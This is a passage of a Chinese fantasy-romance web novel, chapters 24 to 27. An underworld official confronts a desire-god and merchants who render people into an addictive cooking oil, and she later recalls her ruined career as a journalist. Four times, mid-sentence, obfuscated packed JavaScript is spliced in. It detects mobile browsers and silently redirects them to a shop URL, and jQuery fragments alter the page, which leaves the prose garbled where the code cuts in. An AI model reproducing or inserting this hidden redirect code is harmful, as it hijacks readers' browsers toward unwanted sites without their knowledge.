三头冥犬明白之后,摇着尾巴,撒腿跑了出去。 传完信件,洛遥转身看到卫凌一直在盯着她,也不知看了多久,“...怎么了?” “原来三个脑袋真会打架,没有脑子的畜生,长得也不好看,你跟它玩,还不如和我玩。” 她不知卫凌也有如此任性的一面,竟如小孩子吃醋一般,“你和它计较什么。” 卫凌缓缓起身,语气自傲,“也对一只畜生怎么能和我比。” 卫凌笑着从身后打在洛遥肩膀,“看你一直忙都没休息一下,我去给你点些菜。” 洛遥总感觉他变得有些黏糊糊的,完全不像以前傲娇的模样,突然变得有点不适应,转身退开他环抱的姿势,“别忙了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931525|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里的东西有问题不能吃。” 卫凌看了半空的手愣了一下,在她转身之后又恢复笑意,“为什么,我看底下吃的人也不少,一个个恨不得吃撑死。” “就是一个个狼吞虎咽的样子才有问题,”洛遥走出房门,俯视楼下两眼精光只能注意饭菜的众人,就像和猪圈里的出生没有什么两样,“我不知道里面放了什么东西才能让他们这么着迷?总之可以确定那东西能够影响心智让人上瘾。” “你觉得有什么东西能做到如此地步?”卫凌撑着身子站在围栏边看她。 洛遥陷入了深思。 毒品似乎能够做到,但是这个时代有人能提纯到影响神经的程度吗?就算是毒品,整个西宁怎么可能没有人发现,难道就没有一个人想过去找大夫控制? 明显所有人是自愿的,并且甘愿沉沦。 “可能...是某种未知的毒吧!” 洛遥也不确定。 “毒?也许对他们而言并不是。” 明暗的光线中,卫凌的上半身置身于阴影中,脸上神色晦暗莫名,整个客栈也陷入了明暗交织的诡谲,食客们疯狂的表情在横梁红灯笼照映的光影下越显狰狞。 四周包围的是浓郁漆的夜色,在光线的背后跳跃,潜伏在众人周围。 此时,她才意识到原来天色已暗。 短暂的沉默后,暗哑的声音忽然发问: “你知道作为凡人最无法抗拒的东西吗?” “...是财?” “对,但不至于此。酒色财气都是身为人不能抵抗的诱惑,这是人类最卑劣的欲望,他们永远控制不住对于凡俗之物的追求,并且一次次自甘沉沦,沦为畜生。” “人心不过拳头大,欲望却如江难平,身为万物中的蝼蚁,却想站在宇宙之上,多可笑。” “自甘沦为欲望的奴隶,这些欲望终究会杀了们。” 洛遥张了张嘴,愣了片刻,他知道卫凌向来自傲,但从来没有如此居高临下表示对于凡人的蔑视,以及其刺耳的厌恶将人贬低为畜生。 一字一句中都夹着压抑的怨气。 “可能在万物之中,人心最难测,最易变,但我并不觉得他们是畜生,是蝼蚁。” “那可能看见了沉沦欲望中的人便以为他们无法自控,没有意志,但你没有看见他们的努力,他们的克制,还有他们身上的创造力。” “诚然人容易被外物诱惑,但也并非所有人都会陷入欲望,酒色财气为人所爱,但也因为这些俗物,无数人为之奋斗,为之拼搏,他们不一定是为了一己之欲,也许为了在芸芸众生痛苦之中获得自救罢了。” “为了更好的生活拼搏,难道有错?” 黑暗中传来低笑,“人果然巧舌如簧,习惯性给自己开脱。欲望是没有尽头的,一个小的欲望背后是更大的欲望,人最算保持清醒又能清醒几时呢?” “你说这样的话,还是以为自己能超脱凡欲?” 一坛酒递到了她面前,浓郁的酒气中夹杂着不知名的奇异花香,只是花香过浓,反倒盖过了酒原本的香味。 她没有接,手指不自觉捏紧,“我不喝酒。” “放心,这是在外面的买的花酒,不是珍味楼里的东西。” 洛遥的神经始终绷紧,周围的一切都怪极了,高挑的身影走到她身边,“你在害怕吗?害怕自己会和他们一样?” “你在说什么?” 正要推开他,男人突然饮了一口酒,对着她渡了过去,洛遥躲闪不及被迫咽下,眼前一阵发晕,耳边的声音也跟着恍惚。 “你说对了是毒,欲望就是最好的毒,现在你看了吗?那你觉得自己能否独善其身。” 昏暗的客栈骤然变成另一番光景,雕栏玉砌,金碧辉煌,各色花灯照耀斑斓花影,打在舞池中央抱着琵琶歌舞的美人。 玉肌柔骨销魂曲,黄金遍地做脚石。 食客们终于注意到台上美人,疯狂将银子黄金扔上去,只为得美人一笑。 25. 第 25 章 洛遥不可置信,疯狂地掐着手心保持清醒,忍着作呕的晕眩,眼前的人满脸是恶作剧得逞的笑意,似乎在欣赏又很好奇地注视她的一举一动。 “事到如今,你还要顶着这张脸和我说话吗?所谓的神明,怎么手段如此卑劣。” “呀,发现了,我还以为你不知道呢?”她惊喜地摸着自己的脸,有些意外,“原来在你心里最想要见的是这个男人?” “但这个男人似乎是神,连他也被凡俗情欲所困要堕落了吗?” “你是怎么变成他的样子?” 这个女人怎么知道她和卫凌有交集,特意在逃跑的路上拦她,那王心莲他们如今安全吗? 女人的笑容中总是充满恶意,“我能了解所有人的欲望,你心中的欲望造就你看见了现在的我。” “那你...到底是什么?” 洛遥忽略了女人的强大,眼前的人终于卸下伪装,变成了风姿绰约的美人,她的心口有明显空荡被王心莲所伤的大洞,血肉已经被腐蚀成焦黑的颜色。 女人在报复王心莲给她的一击,身为同伙的洛遥也没有放过。 “我是众生欲望所化的神明,也控制着众生的欲望,凡俗众欲之中,唯有爱最难揣测,就连我也难以控制,曾经为此着迷。” “我遇上了一个凡间男子,感受了情为何物,他为我许下山盟海誓,但却在情浓之时剥夺了我的神骨,妄想取而代之。” “人性就是如此薄情,他们根本不懂爱,只有欲而已。” 女人的声音哀怨,似乎陷入了痛苦的回忆中。 一声犬吠从阴影中冲出,三头冥犬已经送来了回信,摇着尾巴朝洛遥过来,似乎并没有意识到危险,洛遥大喊一声:“快走。” 但已经来不及,三头冥犬被女人控制,失去反抗意志,从嘴里吐出清雅的声音:“西宁有邪神作乱的事情,我已经禀报神界,但神界拒不承认,看来此事只能由我们地府解决了。” “你和王心莲速速控制,我会派人相助。” 书信被冥犬吃下,会发出写信人的声音,传递给送信人,这是地府保证传信安全的手段,但她对面的是个神,即使身负重伤,同样拥有操控众生的能力。 若是她能感知欲望,岂不是起心动念都能被女人利用。 听完传信,女人的表情更加古怪阴狠,洛遥更加警惕,“就算神界不承认恐怕也要派人来收你,还不收敛,只怕到时候丢了性命。” 闻言,她忽然笑起来,“你不会真的相信,他会禀告神界吧,一个偷窃神骨的小偷他敢主动报官吗?” ...偷窃神骨的小偷?殿主? 怎么可能...... 她效忠的殿主,竟然是偷盗了神骨才一跃成为四殿之一的掌权者? “他这些年躲在地府中不出来,当真我找不到他了吗?躲得了一时,还能一辈子躲下去?” 洛遥心思动摇,但又忍不住想这会不会是女人故意诓骗她的话,如此恶意满满的神,她难道真要被牵着鼻子走。 女人似乎探知到了微妙的情绪变化,“你不相信?不如我们打赌看看。” 她摇晃着手里的酒坛,笑着对洛遥说,“回信说你重伤了我,让他即刻过来支援你。” 女人故意设陷阱,洛遥并不想被她控制,但酒坛已经递到了嘴边,“是你自己听话,还是我逼你听话呢?既然他如此器重你怎么还放任你一人独自冒险?” 信终究是送了出去,只是她也不确定自己这位上司真的会因为她的话过来。 但从私心出发,她也想知道女人话中真假,百年前空降而来的殿主,究竟经历过什么? 琵琶声渐渐急促,轻纱覆体的美人从台上跳下,一边轻舞,一边含笑后退,食客们纷纷跟了上去,蜂拥亲吻美人,只是美人像是灵活的鱼儿总是抓不住,唯有手心的薄纱残留一丝馥郁的香气。 女人从走廊漫步到楼梯,将一壶酒全部从二楼洒下,底下的人全都伸长脖子张口去接,而那些撒在地上的酒渍,更是被其他人匍匐在地舔干净。 “美人,美人的酒果真好喝。” 一双双赤裸裸饱含欲望的眼睛盯着楼上的两个女人,有的已经从楼梯往上爬,在快要冲上来时,女人手指轻点,所有人就像陡然失去了目标一样,变得呆滞,转而重新向琵琶美人跑过去。 “不想知道珍味楼的配方是什么吗?”她步步摇曳而下,“想知道就跟我来吧。” 确认这些人注意不到自己,洛遥才慢慢走下楼梯,她似乎步入一段漫长伴着鸟语花香的长廊,芬芳的花香入鼻,眼前飘落簌簌的花瓣,伸手却接瞬间变成了让人眼红的金子。 走在前面的人流同样发现了手里的黄金,于是疯狂捡起地上成堆的花瓣,但是落在地上的,并没有产生刚才奇异的效果始终维持原本的模样。 直到洒落一地的花瓣被糟蹋成一摊烂泥,这群人才回神,知道用手去接,于是,神奇的现象再次发生。 洛遥看着手心的黄金,定了片刻,张开指缝让黄金全都洒落下去。 旁边的人再次,趴下身体去接,但是依旧晚了一步,落地瞬间又变成的普普通通的花瓣。 错失的男人不仅没有拿到更多,反而因为摔跤丢掉了怀里的金子,他噌得站起来,眼底通红疯狂踩着花瓣泄愤,在周围的惊呼声中快步跑向桃花树。 男人疯狂摇晃着,在漫天桃花雨中,接到了更多,其他人跟着效仿。 但同样洒在地上的浪费的花瓣也变得多了,桃花树很快变得光秃秃,杀鸡取卵的做法已经耗尽了它所有的芬芳。 能力不同每人得到的财富不同,分配不均就惹了其他人的红眼,剩余的人开始相互争夺,以命相搏。 鲜血伴着纷纷扬扬的花瓣一同飞起,刺眼、震惊。 鸟语花香瞬间变成恶鬼地狱,光秃秃的桃树伸着狰狞的枝丫,裂开干燥的嘴角,笑望着底下的疯狂,在渗入地面鲜血的滋润之后,重新生出枝芽。 走廊之上,洛遥仿佛一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967692|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座石雕,僵硬在原地,女人不知从何处出来,贴到她的后背,呢喃诱惑,“多可笑,只是一点点的花瓣就让他们自相残杀。” “明明他们都已经得到了,却还想要更多,你说人的欲望能自我抑制吗?” 女人用最直接的方式,向她展示了人性恶劣、欲壑难平,她在笑洛遥那番豪言壮举,笑她的天真。 花瓣在她手里被轻轻吹到洛遥脸上,“你不喜欢财,那是喜欢其他的东西?” 她想知道洛遥的欲望,想窥探她内心的深渊。 洛遥并没有回答她,“如果你只是想证明我之前可笑的话,那么你赢了,快停手吧!” 女人捂着唇笑了,“一个人心里滋生的欲望,不是其他人干预就能消亡的,其实在你眼前的不过是一场幻境,由欲望而生,欲望不止,如何能停?” 欲望不止,幻境不消,可她也看见了。 沉默再次蔓延。 “我倒希望你能不被这些欲望影响,顺利挣脱。”在洛遥脸上浮现怀疑之时,女人笑了,盯着她的脊骨,“这样的身体我最喜欢,才配和我融合。” 她像蛇一样扭动后背,娇俏抱怨,“现在的这根骨头,真是脏死了,弄得我浑身痒痒。” “你想要我的骨头,怎么不来拿?” 女人像得不到糖果的小孩撒娇,“你献给我嘛,我保证拿回脊骨之后,会把你的还给你。” 洛遥忍着发毛,躲开女人伸过来要扯她衣袖的手,靠在围栏一边警惕地看着女人。 女人脸上明显闪过失望,双眼依旧如炬,“你可一定要帮我拿回神骨,我因爱欲堕落,没有神骨会控制不住哦!” 清风吹过,纷扬的花瓣模糊了女人的视线,地上一半的尸体并没有让所有人清醒,倒是重新飞起的花瓣让众人重新追逐,这才停止打斗。 琵琶乐曲又响了...... 桃花伴着美人轻舞向前涌去,抱着黄金的人流开始涌动,长廊似乎慢慢走到了尽头,最终延伸到大殿中。 殿内,奢华耀眼黄金铺路,美味珍馐摆在了各处似乎在欢迎来宾,无数美人蜂拥而来,说是梦中仙境也不为过。 只一眼,洛遥便闭上了眼睛,在踏入殿中之时,狂掐手心,放空大脑,不去想任何东西。 欲望不止,幻境不消,也是被眼前的景象影响,就会越陷越深,她不敢去思考任何东西。 多亏了,女人刚才的话,给了她启发。 不过,女人为什么要自己把脊骨献给她,若是她想要,以她的神力,自己绝对不能反抗,除非神只能接受信徒自愿供奉的祭品。 女人含笑的视线一直在她身上,仿佛发现了她的小动作,朝她狡黠地眨了眨眼。 “想知道我的名字吗?” 洛遥转开视线,“不想。” 她现在什么东西都不愿多想,直到脑子里的杂念全部消失干净。 渐渐的,乐声似乎小了,一切都变得飘忽,像是逐渐飘远的梦境,模糊不清。 26. 第 26 章 等到耳边琵琶声完全消散,身体最先感知到的是炙热的高温,抬头,流光溢彩的辉煌大殿变成了灰扑扑的巨大锅炉房,身边疯狂的人群在空气中抓来抓去,最后全都朝着火炉的方向跑去。 “美人别跑,我的金子。” 一个个全都排着队从高台跳进了巨大的铁锅中,尖叫声只在片刻就消散了,不断加着柴火的店小二们忙忙碌碌,珍味楼的老板则坐在一旁监工。 铁锅地下有一根管子,有人正拿着铁盆等待着准备接从里面流出来的东西。 很快,黄色的油脂顺着管道慢慢流出,铁盆逐渐接满,珍味楼老板满意地看着今天的收获,指挥着店小二,将油脂放进另一口大锅中。 锅里残留着不少半凝固的油脂,应该是以前剩下的,在新的热油加进去后,又重新融为一体。 黏腻的油腥味涌进鼻腔,连呼吸都反复被油脂附着,每一口都带着恶心的味道,洛遥屏住了呼吸,离锅炉更远了点,她藏在暗处的柴火堆后面,没叫人发现。 忙碌的人们也没注意到她这个异常。 大殿门口传来新的脚步声,是个让洛遥十分意外的人——宝石坊的老板。 手上捧着那只受伤的金蟾蜍,走到珍味楼老板身边。 “终于来了,就差你了。” “我的金蟾蜍受伤了,这次恐怕不能给你提供太多配料。” “怎么会受伤呢?”珍味楼老板站起来左看右看,没发现金蟾蜍受伤的地方,直到宝石坊老板捏开蟾蜍的嘴巴发现里面猩红的舌头断掉半截。 男人大惊失色,“怎么会受这么严重的伤,到底是谁下的手?” “不知道,”想起此时宝石坊老板就气愤,“我根本看不见是什么人下的人,那人完全隐身了,我全面搜查宝石坊,只发现了这个。” “怎么会有人隐身?”当真怪事,珍味楼老板百思不得其解,直到看清男人手里的东西神情剧变,他接过男人手里的纸团手帕小心展开,语气沉重,“伤金蟾蜍的恐怕不是人。” “这是死人用的阴物,应该还是个女子。”珍味楼每到夜晚也会在第二天查账的时候,发现不少冥钱,这种事情他再清楚不过。 “你是说阴魂做的?”宝石坊老板嗤笑一声,“我也这样想过,但是我知道这是绝对不可能的。” “我的金蟾蜍可不是只普普通通的癞蛤蟆,除了每日吃的东西外,更是时常吃几只小鬼打牙祭,要真是小鬼的话早就进了它的肚子,怎么还能伤它之后逃掉。” 洛遥听到半天,才明白当时为什么那只癞蛤蟆忽然朝她伸舌头,原来是想吃她,要不是王心莲在她身边,岂不是要成了那东西果腹之物。 看着相距几米的距离,洛遥想着要不要在退后点,但身后全被柴火挤满,已经没有足够的空隙。 “放心,那东西受伤了,发现不了你。” 女人不知道何时出现在身后,和她挤在一起,本就不宽敞的空间变得更拥挤了,明明她想不让人发现,只需动动法力,可偏偏要和她贴着。 洛遥敢怒不敢言,只能忍气吞声,她似乎预料到洛遥不敢反抗,举止更加放肆,又凑近了点。 洛遥只能一心二用,一边盯着眼前的情况,一边防止身边的人在自己背后下黑手。 “如果,不是阴魂的话,那就更严重了,”珍味楼老板急得走来走去,“若是高人察觉不对,下手你我都要完蛋。” “高人又如何,只要他喝了咱们秘制的汤汁,还不得变得和这群没脑子的东西一样。”男人走到铁锅旁边,扒开金蟾蜍的嘴,黏腻的口水哗啦啦流进锅里,和油脂混为一体。 店小二拿着木棍搅合,越搅合浑浊的油脂变得更清澈,难闻的油腥味顿时变得香气四溢,勾人味蕾。 长时间工作的店小二都憋不住从嘴角流下的口水,直到珍味楼老板一棍子打在他背上,才让他从痛苦中清醒。 “别把你的脏口水弄进锅里,要是弄脏了秘方,就给我滚去做烧锅的柴火。” 店小二吓得手抖,慌慌张张认错,从袖中拿出预备的口罩死死将鼻孔捂住。 他已经不知道是多少批干活的店小二了,以前没忍住诱惑的,在干活的时候,一脚扎进油锅里,被沸油烫得不成人形。 一锅秘方尽毁。 后来,老板自己亲自监督,才避免事故发生。 香气飘满大殿,洛遥辨别出了,这就是在珍味楼饭菜中经常闻到了味道,虽已经稀释不如现在浓郁,但也充满诱惑力。 女人递过来的酒中夹杂的就是这种味道,被花香层层覆盖,闻起来并不算好。 她捂着嘴,几乎要把喝进去的酒水当场呕出来,她竟然吃进去的是这种恶心的东西。 但眼下的情况根本不允许她发出过多的动静,只能强忍着把恶心感压下去。 “欲望让人着迷,殊不知欲望的本身多么令人作呕。” 女人的眼中是俯瞰众生的慈悲,声音却似妖魅精怪,操控人心,让再衣冠楚楚的人都沦为欲望的傀儡。 “你要怎么样才肯停手,是要所有人都死吗?” “你不会以为这一切都是我的手笔吧?” 她的反问让洛遥顿住,难道不是吗?西宁的古怪难道不和这位玩弄人心的神明有关? “宝石坊的采矿工人发现了金蟾蜍被老板据为己有,吸纳财气为己所用,但金蟾蜍的胃口越来越大,宝石坊老板为了更多的财富,设计让富商倾家荡产,用他们的□□供养金蟾蜍。” 一切迷雾骤然开朗,洛遥接着她的话说:“倾家荡产的富商为了重新获得财富,乞求神明帮助,自愿供奉妻儿,而你需要她们的脊骨,来支撑你被抽了脊骨的身体。” “并不是所有人都毫无自制力,但是他们都吃了珍味楼的饭菜,刺激了他们心中的欲望,直到所有都被榨得一干二净。” “如果,罪魁祸首是他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977546|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那你难道不算共犯?” 女人天真地质问,“为什么是共犯,我从没有要挟过他们啊,只不过我同意了他们的交易。” “难道没有我他们就能遵纪守法?” 见洛遥始终沉着脸,女人才撒娇,“好嘛好嘛,我拿回我的神骨,就不要他们的骨头了。” 等秘方油脂熬好,宝石坊老板才动身离开,“最近小心为上,不要让人钻住空子,抓到把柄。” 临走时才想起一事,“你可有看见过西宁出现两位相貌不俗的姑娘?” 女子在西宁并不常见,因此珍味楼老板脑海中瞬间出现两张脸,“我们楼里就住着两位姑娘,身边还跟着两位侍卫,听说是外地富商的两位女儿。” 他的描述倒是和宝石坊老板那天看到的两人对上了。 朝火炉里看了一眼,“我刚才可没看到那两位姑娘。” 珍味坊楼老板也回过神来,“...好像是今早就出门了,没看见回来过。” 宝石坊的老板一时半会也想不出其他可疑人物,交代一句,“发现踪迹尽早下手,宁可错杀,也决不能放过。” 两人刚踏出厨房,便被直接打飞进来,“早知道你们两个老东西有问题,今日可算人赃并获。” 一袭藕粉衣裙款款而来,周身阴气沉沉,长甲漆黑,让人不寒而栗。 宝石坊老板掏出金蟾蜍哪知这东西一见王心莲就哆哆嗦嗦要跑,男人瞬间明白,“是你伤了金蟾蜍!你是什么人!” 王心莲卷起衣袖,拉回要跑的金蟾蜍,踩在脚下,“不过是个枉死之人而已。” 金蟾蜍在她发力之下迸发出火焰,被一脚踩成灰烬,男人惊慌哀嚎,“不,不可能——阴魂怎么可能伤得了金蟾蜍。” 洛遥想趁乱溜走被女人发现,捂住嘴,“你可不能走,我的神骨还没回来呢!” “殿主并不是能够接受要挟的人,你以我最为筹码,殿主也不会把神骨给你。” 女人忽然沉默了片刻,“如此无情才像他,他不同意没关系,只要肯来就行。”她顺便安慰一句不安的洛遥,“放心我不会杀你,你需要和我乖乖配合就行。” 助力已到洛遥当然不会坐以待毙,摸到女人后颈的脊骨连接处用力敲下去,趁女人吃痛尖叫之际从她手中溜走。 王心莲也发现了躲在角落里的两人,瞬间而来,“大人速走,我来对付她。” 作为欲望化身的邪神,她从来没有过对手,直到王心莲的出现,才让他感受到消亡的恐惧,面对王心莲女人不得不避其锋芒。 “这里就交给你了。” 洛遥离开之时,忍不住想,殿主费尽力气让她带回王心莲,又协助她来西宁办案,而王心莲恰好能伤西宁作乱的邪神,一切难道都是凑巧吗? 阴暗的想法刚冒头便一发不可收拾,各种潜伏滋生的念头似洪水喷发,洛遥急急止住,周围却已经变换了场景,变得陌生又熟悉。 27. 第 27 章 “你为什么选择到我们公司做一个娱乐记者?” 初入社会的女孩已经被无数公司拒绝,才选择了月薪3000的单休加班公司,她当然不会将实在找不到工作的真相说出,只能再次进行美化,“贵公司短时间内发展迅速在同行间实力不俗,在这里发展除了能学到东西,想必未来也能在人生阶段更上一层。” 短时间发展迅速,当然是充分压榨了员工,以最低底薪招来一群拼命牛马。 洛遥心里有数,也明白这种垃圾公司最想听到什么,为了活着混口饭,违心的话早已得心应手。 “你在我们这里确实能学到东西。” 面试官对于她的夸赞有几分得意,嘴角快要压不住,又故作清高压了下去,“听说你双一流毕业,之前在一家电视台工作,是位新闻记者后来吊销了记者证,能说下原因吗?” 霎那间她仿佛被冰雪冻住,手指僵硬到几乎不能动,究竟是什么才让让她沦落到如此的地步? 是别人口中说的不够努力吗? 洛遥想她已经够努力了,努力做好自己职业的本分。 选择帮助一个被真相蒙蔽半生,无数次想要轻生的女人。 那是个优秀的女性,毕业后在一家名企工作,结婚的对象也是家境优越,甚至已经超出她原本的阶层,他们拥有两个可爱的孩子,一个已经几岁,一个孩子还在腹中。 但她的美梦正是此时破碎的,丈夫不过是个同性恋,在二胎时正在他们的婚床上和情人颠鸾倒凤。 他们才是情投意合,而她只是用来掩饰真相维持权贵完美面具的牺牲品,或者说满足丈夫和情夫无法生育缺憾的工具。 所有人都知道,包括男方父母,唯独她蒙在鼓中。 从相遇到婚礼,一切美梦只是被设计好的棋局。 名企的工作是丈夫家中弄黄的,这样能更好让她全身心为他们的爱情生育,婚内财产早就转移,只有留下的两百万债务和因为情绪失控被剥夺的孩子抚养权。 起初洛遥很好奇在信息化时代为什么女人求助无门,直到她决定报道之后,才知道真相之上还有悬着的大刀。 “不会以为你名校毕业就高人一等吧,不妨告诉你,你就算再去海外镀层金也只是一辈子在底层的烂鱼烂虾。” “你所得到的一切,只不过是我们允许你得到的,我们想收回的时候,你们就是一清二白的乞丐。” 洛遥被警告了,对方以侮辱性的话羞辱她的自尊,偷拍的录像被砸得稀巴烂,“我给你50万,你最好说那女人有隐藏的暴力倾向精神疾病,在婚前刻意没有透露。” “搔首弄姿靠上床勾搭上富少,从此一跃成为富太太。” 对于给自己正在怀孕中的妻子,男人没有半点爱惜,只有憎恨,仿佛她是破坏和爱人相守的仇人,用所有肮脏的话语,抹黑她的名声,践踏她的尊严。 甚至断她绝路,或许男人期待的正是女人接受不了自杀,那男人便如愿得到了所有,爱人、孩子还有自己依旧完美的受害者形象。 洛遥拒绝了,一夜之间她失去了所有。 她成了别人眼中的笑话,和那个女人一样苟延残喘。 她努力一生所珍视的,只不过在别人抬手之间就灰飞烟灭。 看到了就一定是真相吗? 或许这个世界呈现的,只是别人想让我们看到的样子。 洛遥迷茫了,在奔波生计的芸芸众生中沦为毫无思想的NPC。 或许,这就是她的一辈子,但是她甘心吗? 并没有,她变得更变本加厉,别人越是想诋毁的事,她就偏要扒出真相来,男人的小情人空降歌唱节目成为内定冠军,靠着伪造当红女明星包养年轻男孩的绯闻蹭热度拉踩上位。 彼时这位女顶流正黑料缠身,男人也像其他人一样落井下石瓜分她剩余的价值。 洛遥破坏了他们的计划,扒出的背后黑料。 这次的代价是不明不白的猝死,在她出门的那一刻,五楼的花盆刚好不偏不倚砸在她头上。 死前,她看见男人站在五楼嘲讽的笑,而她用尽最后一丝力气竖了个中指。 *** “你想要权利吗?你要知道在众生之中,唯有权利才能叫人挺直腰板,获得想要的一切。” 洛遥死后,一个赤面獠牙的鬼差向她发出了邀请,她知道向来珍贵的东西不会轻易得到,可鬼使神差她接受了。 甚至,没有想过拿到的代价是什么。 眼前的景象又瞬间变换,她是手握大权的死殿重臣,手里拿着的正是令鬼闻风丧胆带着倒钩的刑鞭,那个男人和和他的小情人就跪在自己脚下乞求原谅。 像狗一样卑微求饶,殿主在一旁正微笑着看她,“去做你想做的事情吧!只要你完成我交代的所有事情,你就是我最忠心的手下,你可以利用你的权利去做任何事情,只要你不背叛我洛遥。” 她像是失了魂,有什么东西似乎要从心里喷涌出来。 权利多好啊! 她可以随意折辱仇人的尊严,更不会有人敢像蚂蚁一样践踏她,而她想要别人生就生,想让别人死就死,而这些人只能跪在地上求她。 刑鞭被她握紧,朝两人用力甩去,不出意外她听到了一声痛哼,这声音让她畅快的同时不免又觉得熟悉。 男人的脸变得模糊,忽然朝自己走过来越靠越近,“洛遥,刚见面就给我如此大礼?” 她终于看清周围根本不是什么地府,依旧还是珍味楼那道混着血腥味的花瓣长栏,而站在她面前的是卫凌。 在对方靠近之时,洛遥猛然后退好几步,不管面前的是什么东西,她又看成卫凌了,那个女人的把戏难道还没玩够吗? 她始终低着头不想看眼前呈现的虚幻,卫凌面色疑惑,刚要开口,面前就有挥来一鞭,“不要再靠近,用这副模样跟我说话,你不觉得恶心吗?” “......恶心?原来你一直觉得我恶心。洛遥演戏这么久可真是难为你了。” 卫凌言语讥讽,但远比不上她此刻的争锋相对,“不跟你演戏,恐怕我会和那蛇妖一样吧。你是神君身份尊贵,众生与你而言只不过是脚下尘泥,就算是偶然得趣也只是把玩的工具。” “我不和你演戏,怎么能够活到今天,你随口说要抢我去天界的话,不过是因为我是不足为道的小鬼差,你料定地府不敢,向你堂堂神界大将军问罪。” “但,若我是冥界四殿之一,你还敢抢吗?” 见卫凌怔住,洛遥放肆讥笑,直到掷地有声的两个字朝她压过来,“我敢!” 洛遥恼羞成怒,又是一鞭,“你真当我是可以玩弄的东西。” 这一鞭没落到他身上,被卫凌单手接住,他的眉眼染上青黑,桀骜被颓废之气掩盖,冷着脸看起来倒是比之前成熟一些。 仿佛忽然间成长的少年。 “我从没拿你当做玩弄的东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009955|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说抢你一半是骗,一半是真。神界戒律森严,已经许久不允许结契,何况我身负重职,那群神必会阻拦。” “所以,我想他们要是阻拦,我就直接把你抢回神界军营,那是我的地盘,没人可以改变我的决定,就算是帝君也不行。” 他看着面前人眼底化不开的警惕和质疑,直觉心口堵得慌,压在腹中无数质问、攻击的话瞬间溃散,硬巴巴丢下一句,“我说的都是真话,信不信随你。” 脑袋像被割裂一般拉扯,越是想挣扎清醒,眼前的景象就越光怪陆离,洛遥痛苦捂面,声音细颤,“可是......你是假的。” 察觉她的不对劲,卫凌也歇了赌气的心思,走过去控制住洛遥几乎要把头发一把揪下的手,“你到底怎么了,为什么说我是假的,跟在你身边的人呢?这里妖气冲天,你怎么一个人在这里——” 一连串急促的问题没有得到回应,在他看清洛遥凌乱发丝中抬起的脸时瞳孔紧缩,话音顿时堵在喉中。 混沌之中,洛遥看见了眼前这双明亮的眸子,可在倒影之中她看见了自己金黄满是鼓包怪异的脸,丑陋的像是变异物种。 震惊到失神,她几乎发不出惊叫,颤抖着手摸向脸蛋,却并没有摸到光滑的皮肤,而是一个个疙瘩,像是病毒在脸上繁殖。 “发生什么了?” 洛遥慌张掩面不敢去看卫凌,对方眼里的震惊过于刺眼,让她几乎无地自容,更不敢将丑陋的样貌暴露在天光之下。 她转身就跑,却被卫凌急急拦住,“到底发生什么了?谁把你弄成这副样子。” 洛遥捂着脸陷入了崩溃之中,她的状态明显不对,卫凌只好将问题暂时放下,紧抱住她,“不想说就算了,我们先离开。” 拦在前面的虚影比他的脚步更快,清风倩影,长发如瀑,在此等唯美的景象中透露妖异的美感,那人转过身来,表情在诧异间凝顿,随即有轻笑起来。 “原来是你啊!” “洛水,你竟然在这里,一百年过去了,凡人早化作尘土,你为还痴留人界迟迟不归?” 洛遥看见眼前的女人顿然也清醒了半分,明白过来,在她身边的是真的卫凌。 谁也没想到洛水之神会因为与凡人相爱叛离神界,作为新生只有两百年的神明,她过于任性,任意妄为,卫凌找了她一百年没想到会在西宁遇见她。 洛水出生后的一百年由卫凌看护,在全是男人的军营中锤炼的将军更不懂爱护幼崽的技巧,看待这个新神也用上了带新兵蛋子的严厉。 面对卫凌她不自觉被长辈教训的感觉,第一时间为自己辩解,“我是因为回不去,才不是因为我不想回。” 洛水撇嘴,“我的神骨丢了。” “丢了神骨?” 她抱怨了这些年遇到的苦楚,又顺带解释了一下眼前的情况,把锅全部抛给两位利欲熏心的老板,干干净净脱身。 至于洛遥的问题,半点不敢承认。 见卫凌没有要问责的意思终于松了口气,而洛遥已经全身冰冷。 